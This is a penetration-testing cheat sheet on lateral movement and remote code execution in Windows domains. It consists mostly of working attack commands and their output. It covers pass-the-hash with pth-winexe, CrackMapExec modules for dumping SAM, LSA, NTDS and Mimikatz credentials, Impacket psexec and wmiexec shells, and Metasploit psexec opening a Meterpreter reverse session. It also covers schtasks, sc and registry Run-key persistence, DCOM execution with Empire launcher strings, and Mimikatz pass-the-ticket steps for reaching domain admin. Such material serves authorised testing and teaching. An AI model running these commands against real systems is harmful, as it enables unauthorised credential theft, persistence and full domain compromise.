Net group / domain¶
Windows Resource Kit Local/ Global executable¶
- Global.exe
PS C:\> .\global.exe Displays members of global groups on remote servers or domains. GLOBAL group_name domain_name | \\server group_name The name of the global group to list the members of. domain_name The name of a network domain. \\server The name of a network server. Examples: Global "Domain Users" EastCoast Displays the members of the group 'Domain Users' in the EastCoast domain. Global PrintUsers \\BLACKCAT Displays the members of the group PrintUsers on server BLACKCAT. Notes: Names that include space characters must be enclosed in double quotes. To list members of local groups use Local.Exe. To get the Server name for a give Domain use GetDC.Exe.Example:
PS C:\> .\global.exe "Domain Admins" \\domainname Uraxxxx axx.xxxxx axx.xxxxx2 axx.xxxxxx3
BloodHound Group Memberships¶
WMI user groups¶
wmic group list brief
ABCD\SUS Administrator ABCD SUS Administrator S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-7357
ABCD\VPN Admins ABCD VPN Admins S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-8728
ABCD\VPN Users ABCD VPN Users S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-9229
ABCD\XXX - OER Users ABCD XXX - OER Users S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX-5095
Remote Code Execution Methods¶
A lot of details for Remote Code execution has already been mentioned by Rop Nop in his three parts Part 1: Using credentials to own windows boxes , Part2: PSExec and Services and Part: 3 Wmi and WinRM and by scriptjunkie in his blog Authenticated Remote Code Execution Methods in Windows
We have just summarized all in one page with working examples wherever possible.
Winexe¶
Linux Binary pth-winexe¶
winexe version 1.1
Usage: winexe [OPTION]... //HOST COMMAND
Options:
-h, --help Display help message
-V, --version Display version number
-U, --user=[DOMAIN/]USERNAME[%PASSWORD] Set the network username
-A, --authentication-file=FILE Get the credentials from a file
-N, --no-pass Do not ask for a password
-k, --kerberos=STRING Use Kerberos, -k [yes|no]
-d, --debuglevel=DEBUGLEVEL Set debug level
--uninstall Uninstall winexe service after remote execution
--reinstall Reinstall winexe service before remote execution
--system Use SYSTEM account
--profile Load user profile
--convert Try to convert characters between local and remote code-pages
--runas=[DOMAIN\]USERNAME%PASSWORD Run as the given user (BEWARE: this password is sent in cleartext over the network!)
--runas-file=FILE Run as user options defined in a file
--interactive=0|1 Desktop interaction: 0 - disallow, 1 - allow. If allow, also use the --system switch (Windows requirement). Vista does not support this option.
--ostype=0|1|2 OS type: 0 - 32-bit, 1 - 64-bit, 2 - winexe will decide. Determines which version (32-bit or 64-bit) of service will be installed.
Example with pth:
pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe
pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe
If we want to login as NTAuthority, probably use –system. (Helpful when we to run commands as NTAuthority such as installing ssh server host keys)
crackmapexec¶
CrackMapExec is quite awesome tool when it comes to remote command execution. Read the wiki
Usage¶
positional arguments:
target The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of targets
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-t THREADS Set how many concurrent threads to use (default: 100)
-u USERNAME [USERNAME ...] Username(s) or file(s) containing usernames
-d DOMAIN Domain name
--local-auth Authenticate locally to each target
-p PASSWORD [PASSWORD ...] Password(s) or file(s) containing passwords
-H HASH [HASH ...] NTLM hash(es) or file(s) containing NTLM hashes
-M MODULE, --module MODULE Payload module to use
-MC CHAIN_COMMAND, --module-chain CHAIN_COMMAND Payload module chain command string to run
-o MODULE_OPTION [MODULE_OPTION ...] Payload module options
-L, --list-modules List available modules
--show-options Display module options
--verbose Enable verbose output
Credential Gathering:
Options for gathering credentials
--sam Dump SAM hashes from target systems
--lsa Dump LSA secrets from target systems
--ntds {vss,drsuapi} Dump the NTDS.dit from target DCs using the specified method
(drsuapi is the fastest)
--ntds-history Dump NTDS.dit password history
--ntds-pwdLastSet Shows the pwdLastSet attribute for each NTDS.dit account
--wdigest {enable,disable}
Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
Mapping/Enumeration:
Options for Mapping/Enumerating
--shares Enumerate shares and access
--uac Checks UAC status
--sessions Enumerate active sessions
--disks Enumerate disks
--users Enumerate users
--rid-brute [MAX_RID]
Enumerate users by bruteforcing RID's (default: 4000)
--pass-pol Dump password policy
--lusers Enumerate logged on users
--wmi QUERY Issues the specified WMI query
--wmi-namespace NAMESPACE
WMI Namespace (default: //./root/cimv2)
Command Execution:
Options for executing commands
--exec-method {smbexec,wmiexec,atexec}
Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)
--force-ps32 Force the PowerShell command to run in a 32-bit process
--no-output Do not retrieve command output
-x COMMAND Execute the specified command
-X PS_COMMAND Execute the specified PowerShell command
Modules¶
crackmapexec smb -L
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] enum_avproducts Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI
[*] enum_chrome Decrypts saved Chrome passwords using Get-ChromeDump
[*] get_keystrokes Logs keys pressed, time and the active window
[*] get_netdomaincontroller Enumerates all domain controllers
[*] get_netrdpsession Enumerates all active RDP sessions
[*] get_timedscreenshot Takes screenshots at a regular interval
[*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[*] invoke_sessiongopher Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
[*] invoke_vnc Injects a VNC client in memory
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] mimikatz Dumps all logon credentials from memory
[*] mimikatz_enum_chrome Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager
[*] mimikittenz Executes Mimikittenz
[*] multirdp Patches terminal services in memory to allow multiple RDP users
[*] netripper Capture's credentials by using API hooking
[*] pe_inject Downloads the specified DLL/EXE and injects it into memory
[*] rdp Enables/Disables RDP
[*] shellcode_inject Downloads the specified raw shellcode and injects it into memory
[*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
[*] test_connection Pings a host
[*] tokens Enumerates available tokens
[*] uac Checks UAC status
[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
Using a module
Simply specify the module name with the -M flag:
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -M mimikatz
06-05-2016 14:13:59 CME 192.168.10.11:445 WIN7BOX [*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB)
Use the -M flag to specify the module and the –options argument to view the module’s supported options:
#~ crackmapexec -M mimikatz --options
06-05-2016 14:10:33 [*] mimikatz module options:
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
Using module options Module options are specified with the -o flag. All options are specified in the form of KEY=value (msfvenom style)
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND=privilege::debug
Smbmap¶
smbmap an inbuilt tool in kali linux which gives some awesome results while gathering information related to the shares associated to with a particular user. As compared to the crackmapexec we can also use smbmap in order to verify the credentials gathered. This can not only be used to map the shares but can also be used for running remote commands by specifying the ‘-x’ flag.
smbmap -H 192.168.4.32 -d ABC.com -u Administrat0r -p P@ssw0rd!
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.4.32...
[+] IP: 10.7.3.2:445 Name: dcrs.ABC.com
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192.168.4.32\SYSVOL\BiZyIseFGv, please remove manually.
Impacket psexec/ smbexe/ wmiexec¶
Impacket psexec¶
./psexec.py -debug Admini:Password@10.0.X.X
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies
[*] Trying protocol 445/SMB...
[*] Requesting shares on 10.0.5.180.....
[*] Found writable share ADMIN$
[*] Uploading file kBibbkKL.exe
[*] Opening SVCManager on 10.0.5.180.....
[*] Creating service cvZN on 10.0.5.180.....
[*] Starting service cvZN.....
[-] Pipe not ready, aborting
[*] Opening SVCManager on 10.0.5.180.....
[*] Stoping service cvZN.....
[*] Removing service cvZN.....
[*] Removing file kBibbkKL.exe.....
Impacket smbexec¶
./smbexec.py -debug Admini:Password@10.0.5.180
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies
[+] StringBinding ncacn_np:10.0.5.180[\pipe\svcctl]
[+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>ipconfig
[+] Executing %COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::4546:b672:307:b488%10
IPv4 Address. . . . . . . . . . . : 10.0.X.XX
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.0.X.1
Tunnel adapter isatap.{EB92DEE7-521B-4E14-84C2-0E9B9E96563E}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Local Area Connection* 11:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
C:\Windows\system32>
Impacket wmiexec¶
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
[-dc-ip ip address]
target [command [command ...]]
Executes a semi-interactive shell using Windows Management Instrumentation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command to execute at the target. If empty it will
launch a semi-interactive shell
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
ccache file (KRB5CCNAME) based on target parameters.
If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256
bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use
the domain part (FQDN) specified in the target
parameter
Example with password
wmiexec.py -debug Administrat0r:Passw0rd\!\!@10.0.5.180
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
[*] SMBv2.1 dialect used
[+] Target system is 10.0.5.180 and isFDQN is False
[+] StringBinding: \\\\xxxxHBKS1739[\\PIPE\\atsvc]
[+] StringBinding: xxxxhbks1739[49155]
[+] StringBinding: 10.0.5.180[49155]
[+] StringBinding chosen: ncacn_ip_tcp:10.0.5.180[49155]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
xxxxhbks1739
C:\>whoami
xxxxhbks1739\administrat0r
C:\>
Example with hashes
wmiexec.py -debug -hashes xxxxxxxxxxxxxx:xxxxxxx Administrat0r@10.0.5.180
Metasploit psexec¶
Metasploit psexec have three methods to invoke,
msf exploit(psexec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
Target 2: Native upload¶
msf exploit(psexec) > set target 2
target => 2
[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat0r'...
[*] 10.0.5.180:445 - Uploading payload...
[*] 10.0.5.180:445 - Created \hnFrgUVk.exe...
[-] 10.0.5.180:445 - Service failed to start - ACCESS_DENIED
[*] 10.0.5.180:445 - Deleting \hnFrgUVk.exe...
[*] Exploit completed, but no session was created.
We can see that the exploit was completed however, no session was created. Also the antivirus provided an alert.
Datei "C:\Windows\hnFrgUVk.exe" belongs to virus/spyware 'Troj/Swrort-K'.
Let’s try with
Target 1, powershell¶
msf exploit(psexec) > set smbdomain .
smbdomain => .
msf exploit(psexec) > set smbuser Administrat0r
smbuser => Administrat0r
msf exploit(psexec) > set smbpass Passw0rd!!
smbpass => Passw0rd!!
msf exploit(psexec) > set rhost 10.0.5.180
rhost => 10.0.5.180
msf exploit(psexec) > run
[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat0r'...
[*] 10.0.5.180:445 - Selecting PowerShell target
[*] 10.0.5.180:445 - Executing the payload...
[+] 10.0.5.180:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.
msf exploit(psexec) > run
[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat0r'...
[*] 10.0.5.180:445 - Selecting PowerShell target
[*] 10.0.5.180:445 - Executing the payload...
[+] 10.0.5.180:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957487 bytes) to 10.0.5.180
[*] Meterpreter session 1 opened (10.11.43.116:4444 -> 10.0.5.180:64783) at 2017-02-20 16:31:41 +0530
meterpreter >
Let’s try also with
Target 3: MOF Upload¶
msf exploit(psexec) > set target 3
target => 3
[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat0r'...
[*] 10.0.5.180:445 - Trying wbemexec...
[*] 10.0.5.180:445 - Uploading Payload...
[*] 10.0.5.180:445 - Created %SystemRoot%\system32\KiaHTgBg.exe
[*] 10.0.5.180:445 - Uploading MOF...
[*] 10.0.5.180:445 - Created %SystemRoot%\system32\wbem\mof\5SZ1WZENmHyays.MOF
[*] Exploit completed, but no session was created.
Working of MSF PSexec - Native Upload¶
Jonathan has already written awesome detailed blog Puff Puff PSExec Working of MSF PSExec has been taken from his blog directly.
While similar in functionality to Sysinternal’s PsExec, the Metasploit Framework’s PSExec Module has a few key differences and at a high-level performs the following actions. By default, the module takes the following actions:
- Creates a randomly-named service executable with an embedded payload
- Connects to the hidden ADMIN$ share on the remote system via SMB
- Drops malicious service executable onto the share
- Utilizes the SCM to start a randomly-named service
- Service loads the malicious code into memory and executes it
- Metasploit payload handler receives payload and establishes session
- Module cleans up after itself, stopping the service and deleting the executable
There is more flexibility with the Metasploit’s PSExec in comparison to Microsoft’s tool. For instance, the default location of the malicious service executable can be modified from the hidden ADMIN$ to C$ or even another shared folder on the target machine. Names of the service executable and associated service can also be changed under the module’s Advanced settings.
However, the most important modification that a penetration tester can make is creating and linking to a custom service executable instead of relying on the executable templates provided by the Metasploit Framework. Failure to do so greatly increases the risk of detection by the target system’s anti-virus solution once the executable is dropped to disk.
Working of MSF PSExec - Powershell¶
Details taken directly from Jonathan blog Puff Puff PSExec
At a high-level, the psexec_psh module works as follows:
- Embed stager into a PowerShell script that will inject the payload into memory
- Compress and Base64 encode the PowerShell script
- Wrap encoded script into a PowerShell one-liner that decodes and deflates
- Connect to ADMIN$ share on target machine over SMB and run the one-liner
- Embedded script is passed into memory via PowerShell’s Invoke-Expression (IEX)
- Script creates a new service and passes stager payload into it
- Metasploit payload handler receives payload and establishes session
- Module cleans up after itself by tearing down the service
Sysinternals psexec¶
Microsoft Sysinternal tool psexec can be downloaded from PsExec. Mark has written a good article on how psexec works is PsExec Working.
psexec.exe \\Computername -u DomainName\username -p password <command>
command can be cmd.exe/ ipconfig etc.
Working of Microsoft PSExec¶
The below details are taken from Jonathan blog on Puff Puff PSExec
At a high-level, the PsExec program works as follows:
- Connects to the hidden ADMIN$ share (mapping to the C:Windows folder) on the remote system via SMB
- Utilizes the Service Control Manager (SCM) to start the PsExecsvc service and enable a named pipe on the remote system
- Input/output redirection of the console is achieved via the created named pipe
Sysinternal PSExec with hashes¶
Sysinternal PSExec is a tool built to assist system administrators. In order to use PsExec with captured hashes, we would require Windows Credential Editor (WCE). This would require us to drop another executable to disk and risk detection. Fuzzynop has provided a tutorial Pass the Hash without Metasploit
- Change the current NTLM credentials
wce.exe -s <username>:<domain>:<lmhash>:<nthash>Example:
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help. Changing NTLM credentials of current logon session (00024E1Bh) to: Username: testuser domain: amplialabs LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE NTHash: 0CB6948805F797BF2A82807973B89537 NTLM credentials successfully changed! C:\Users\test>
- Run PSExec normally
psexec \\remotecomputer <commandname>If you omit a user name, the process will run in the context of your account on the remote system, but will not have access to network resources (because it is impersonating). Specify a valid user name in the DomainUser syntax if the remote process requires access to network resources or to run in a different account. Since, we are omitting the username, it would run in the context of the current username ( The one we have changed with the help of WCE )
Task Scheduler¶
If you are the administrator of the remote machine and using runas /netonly, we can utilize AT to run commands remotely. Using AT, a command to be run at designated time(s) as SYSTEM.
Examples¶
AT \\REMOTECOMPUTERNAME 12:34 "command to run"
AT \\REMOTECOMPUTERNAME 12:34 cmd.exe \c "command to run"
"command to run" can be web-delivery string or powershell empire string.
If we need to delete the AT jobs, we can use
AT \\REMOTECOMPUTERNAME id /delete /yes
However, sometimes doing it remotely, we need to figure out the time of the remote computer, we can utilize NET TIME
NET TIME \\REMOTECOMPUTERNAME
Scheduled Tasks¶
Schtasks Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks. Schtasks replaces At.exe, a tool included in previous versions of Windows. Although At.exe is still included in the Windows Server 2003 family, schtasks is the recommended command-line task scheduling tool.
schtasks /create /sc <ScheduleType> /tn <TaskName> /tr <TaskRun> [/s <Computer> [/u [<Domain>\]<User> [/p <Password>]]] [/ru {[<Domain>\]<User> | System}] [/rp <Password>] [/mo <Modifier>] [/d <Day>[,<Day>...] | *] [/m <Month>[,<Month>...]] [/i <IdleTime>] [/st <StartTime>] [/ri <Interval>] [{/et <EndTime> | /du <Duration>} [/k]] [/sd <StartDate>] [/ed <EndDate>] [/it] [/z] [/f]
/sc <ScheduleType> : Specifies the schedule type. Valid values are MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE.
/tn <TaskName> : Specifies a name for the task.
/tr <TaskRun> : Specifies the program or command that the task runs. Type the fully qualified path and file name of an executable file, script file, or batch file. If you omit the path, schtasks assumes that the file is in the SystemRoot\System32 directory.
/s <Computer> : Schedules a task on the specified remote computer. Type the name or IP address of a remote computer (with or without backslashes). The default is the local computer.
/u [<Domain>\]<User> : Runs this command with the permissions of the specified user account. The default is the permissions of the current user of the local computer.
/p <Password> : Provides the password for the user account specified in the /u parameter. If you use the /u parameter, but omit the /p parameter or the password argument, schtasks prompts you for a password and obscures the text you type
/ru {[<Domain>\]<User> | System} : Runs the task with permissions of the specified user account. By default, the task runs with the permissions of the current user of the local computer, or with the permission of the user specified by the /u parameter, if one is included. The /ru parameter is valid when scheduling tasks on local or remote computers.
/rp <Password> : Provides the password for the user account that is specified in the /ru parameter. If you omit this parameter when specifying a user account, SchTasks.exe prompts you for the password and obscures the text you type. Do not use the /rp parameter for tasks run with System account credentials (/ru System). The System account does not have a password and SchTasks.exe does not prompt for one.
Examples¶
- Create new task and execute it
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host
- Delete the task after it is executed
schtasks /F /delete /tn foobar /S host
Service Controller (SC)¶
Communicates with the Service Controller and installed services. SC.exe retrieves and sets control information about services. Armitage Hacker has mentioned this at his blog Lateral Movement with High Latency
Create a new service¶
Create a new service named foobar
sc \\host create foobar binpath= “c:\windows\temp\foobar.exe”
Start the service¶
sc \\host start foobar
The sc command requires an executable that responds to Service Control Manager commands. If you do not provide such an executable, your program will run, and then immediately exit.
Remote Registry¶
A command to be run or DLL to be loaded when specific events occur, such as boot or login or process execution, as active user or SYSTEM.
Examples
Add an entry¶
REG ADD \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "command to run"
Command will run every time a user logs in as the user.
Query the remote registry¶
REG QUERY \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry
Delete the remote registry¶
REG DELETE \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry
Remote File Access¶
We can copy a launcher.bat file with powershell empire and drop it Startup folder, so that it executes every time a user logs in as a user.
Example¶
xcopy executabletorun.exe "\\REMOTECOMPUTERNAME\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\launcher.bat"
WinRM¶
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it’s utilizing WMI, it can be thought of as an HTTP based API for WMI. WinRM will listen on one of two ports: 5985/tcp (HTTP) and 5986/tcp (HTTPS)
If one of these ports is open, WinRM is configured and you can try entering a remote session.
Enabling PS-Remoting¶
Configure the remote machine to work with WinRM. We need to run the below command from elevated powershell prompt
PS C:\Windows\system32> Enable-PSRemoting -Force
WinRM already is set up to receive requests on this machine.
WinRM has been updated for remote management.
Created a WinRM listener on HTTP://* to accept WS-Man requests to any IP on this machine.
WinRM firewall exception enabled.
Testing the WinRM Connection¶
We can use the Test-WSMan function to check if target is configured for WinRM. It should return information returned about the protocol version and wsmid
PS C:\> Test-WSMan XXXX-APPS03.example.com
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 2.0
Adding Trusted Host in WinRM¶
Add Winrm Trusted Host in Windows
winrm set winrm/config/client @{TrustedHosts="RemoteComputerName"}
PowerShell Invoke-Command¶
Execute commands using Powershell Invoke-Command on the target over WinRM.
PS C:\> Invoke-Command -ComputerName XXXX-APPS03.xxx.example.com -ScriptBlock {ipconfig /all}
Windows IP Configuration
Host Name . . . . . . . . . . . . : XXXX-Apps03
Primary Dns Suffix . . . . . . . : xxx.example.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : xxx.example.com
example.com
Interactive PowerShell session¶
PS C:\> Enter-PSSession -ComputerName XXXX-APPS03.xxx.example.com
[XXXX-APPS03.xxx.example.com]: PS C:\Users\dummyuser\Documents> whoami
example.com\dummyuser
The above commands are executed using runas /netonly if you want to run it with the credentials we can use
-credential domainname\username switch
Disable Powershell Remoting¶
Also, if you want to disable the psremoting/ WinRM, you can utilize Disable-PSRemoting . However, if you get
PS C:\Windows\system32> Disable-PSRemoting
WARNING: Disabling the session configurations does not undo all the changes made by the Enable-PSRemoting or
Enable-PSSessionConfiguration cmdlet. You might have to manually undo the changes by following these steps.
1. Stop and disable the WinRM service.
2. Delete the listener that accepts requests on any IP address.
3. Disable the firewall exceptions for WS-Management communications.
4. Restore the value of the LocalAccountTokenFilterPolicy to 0, which restricts remote access to members of the Administrators group on the computer.
then follow the How to revert changes made by Enable-PSRemoting?
Scott Sutherland has written PowerShell Remoting Cheatsheet which can be referred too.
WMI¶
As per the TechNet article Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers.
Local code execution¶
WMI Process Create: The Win32_Process class can be called via WMI to query, modify, terminate, and create running processes.
wmic path win32_process call create "calc.exe"
Executing (win32_process)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2616;
ReturnValue = 0;
};
The command returns the ProcessID and the ReturnValue (0 abcning no errors)
Remote code execution¶
We can use runas command to authenticate as a different user and then execute commands using wmic or use
wmic /node:computername /user:domainname\username path win32_process call create "**empire launcher string here**"
instead of computername, we can specify textfile containing computernames and specify using wmic /node:@textfile
Refer Rop-Nop blog Part3: Wmi and winrm
DCOM¶
The below is as per my understanding (I might be wrong), if so, please do correct me. After reading Lateral Movement Using the MMC20.Application COM Object and Lateral Movement Via DCOM Round 2 I believe there are three ways to do lateral movement by using DCOM
DCOM applications via MMC Application Class (MMC20.Application)¶
This COM object allows you to script components of MMC snap-in operations. there is a method named “ExecuteShellCommand” under Document.ActiveView.
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","IPAddress"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
For Empire
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
Tanoy has written a simple wrapper/ function Invoke-MMC20RCE.ps1 which might be useful.
DCOM via ShellExecute¶
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
^ The above should run a calc
DCOM via ShellBrowserWindow¶
Note
Windows 10 Only, the object doesn’t exists in Windows 7
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
^ The above should run a calc
All the above three method, assumes that either you are running the commands as administrator of the remote machine. And you have achieved it either by using runas /netonly or logging in as that user.
While executing the above if you get the below error, it means, we do not have access to execute object remotely which results in “Access Denied”:
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"IPAddress")
$obj = [System.Activator]::CreateInstance($com)
Exception calling "CreateInstance" with "1" arguement(s) "Retrieving the COM class factory for remote component with CLSID {} from machine IPAddress failed due to the following error 80070005.
At line:1 char:1
+ $obj = [System.Activator]::CreateInstance($com)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+CategoryInfo : NotSpecified: (:), MethodInvocationException
+FullyQualifiedErrorID : UnauthorizedAccessException
Mimikatz PTH/ PTT¶
Microsoft Advanced Threat Analytics Attack Simulation Playbook has provided examples for Mimikatz PTH, PTT.
If we do not have plaintext credentials, we can use NTLM hashes to get a shell
Pass the Hash¶
Using a technique called Overpass-the-Hash we can take the NTLM hash and use it to obtain a Ticket Granting Ticket (TGT) via Kerberos\ Active Directory. With a TGT you can masquerade as the administrative user and access any domain resource that admin user has access to.
Mimikatz.exe “privilege::debug” “sekurlsa::pth /user:[username] /ntlm:[ntlm hash] /domain:[domainname]” “exit”
A new command prompt session opens. This new command prompt injected Admin user credentials into it!
This can be verified by checking
- If we have access to the C drive of the remote machine
dir \\remote-machine\c$
- Inspect tickets in Overpass-the-hash command prompt: From the new command prompt that opened from the Overpass-the-hash attack, execute the following:
klist
We should be able to see the ticket of the admin user.
Pass the ticket¶
Let’s assume, we got credentials of Local Admin A, by which we can login in to the machine on which Domain Admin is logged on. We would utilize pass the ticket for this
- Harvest Credentials
- Execute Mimikatz against Admin-PC ( on which domain admin is logged on )
From the new command prompt, running in the context of admin user, go to the part of the filesystem where Mimikatz is located from that library. Run the following commands:
xcopy mimikatz \\admin-pc\c$\tempNext, execute MimiKatz remotely to export all Kerberos tickets from Admin-PC:
psexec.exe \\admin-pc -accepteula cmd /c (cd c:\temp ^& mimikatz.exe “privilege::debug” “sekurlsa::tickets /export” ^& “exit”)Copy these tickets back to Victim-PC:
xcopy \\admin-pc\c$\temp c:\temp\ticketsWe successfully executed Mimikatz remotely, exporting all Kerberos tickets from Admin-PC. We copied back the results to Victim-PC, and now has one of the Domain Admin credentials without having to exploit his computer!
- Locate the Domain Admin user TGT
Locate the kirbi files which are not Domain Admin user (i.e. “ADMIN-PC$”). Delete those and keep the Domain Admin user tickets.
- Pass-the-Ticket
We can pass the Domain Admin User tickets, literally, into memory and use them to gain access to resources as if you were Domain Admin. The attacker is ready to import them into Victim-PC’s memory, to get the credentials to access sensitive resources.
From an elevated command prompt, where Mimikatz is located on the filesystem, execute the following:
mimikatz.exe “privilege::debug” “kerberos::ptt c:\temp\tickets” “exit”Ensure that the DomainAdminUser@krbtgt-Domainname tickets were successfully imported. Now, let’s validate that the right tickets are in the command prompt session.
- Validate the ticket was imported
Execute the following in the same elevated command prompt:
klistThe attacker now successfully imported the harvested ticket into the session, and will now leverage their new privilege and access to access the domain controller’s C drive
- Access contents of dc1c$ with DomainAdminUser credential
Execute the following in the same command prompt to which the tickets were just imported.
dir \\dc1\c$The attacker is now, for all intents and purposes, DomainAdminUser, in the digital world. Only administrators should be able to access the root of the domain controller. The attacker is using legitimate credentials, can access legitimate resources and executing legitimate executables.
xfreerdp/ Remote Desktop¶
rdesktop¶
rdesktop IPAddress
Remote Desktop with 90% Screen
rdesktop -g 90%
rdesktop -f : for Full screen. Fullscreen mode can be toggled at any time using Ctrl-Alt-Enter.
Pass the Hash with Remote Desktop¶
